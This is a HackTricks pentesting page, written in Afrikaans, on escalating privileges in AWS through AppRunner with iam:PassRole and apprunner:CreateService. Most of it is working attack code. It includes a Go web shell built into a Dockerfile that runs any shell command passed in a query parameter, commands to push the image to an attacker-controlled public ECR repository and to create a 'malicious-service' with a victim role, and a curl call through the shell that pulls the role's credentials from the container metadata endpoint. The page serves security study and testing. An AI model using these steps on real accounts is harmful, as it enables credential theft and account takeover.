# AWS - AppRunner Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AppRunner

### `iam:PassRole`, `apprunner:CreateService`

'n aanvaller met hierdie toestemmings kan 'n AppRunner-diens skep met 'n aangehegte IAM-rol, wat moontlik bevoegdhede kan eskaleer deur toegang tot die rol se credentials.

Die aanvaller skep eers 'n Dockerfile wat as 'n web shell dien om arbitrêre kommando's op die AppRunner container uit te voer.
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
"fmt"
"net/http"
"os/exec"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}

fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
Stoot dan hierdie image na 'n ECR repository.
Deur die image na 'n openbare repository in 'n AWS account wat deur die attacker beheer word te stoot, is privilege escalation moontlik selfs al het die victim se account nie permissies om ECR te manipuleer nie.
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
Vervolgens skep die aanvaller 'n AppRunner-diens wat gekonfigureer is met hierdie web shell image en die IAM Role wat hulle wil uitbuit.
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
Nadat jy gewag het dat die diensskepping voltooi is, gebruik die web shell om container credentials te haal en die permissies van die IAM Role wat aan AppRunner gekoppel is, te bekom.
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**Potensiële impak:** Direct privilege escalation na enige IAM role wat aan AppRunner services aangeheg kan word.

{{#include ../../../../banners/hacktricks-training.md}}
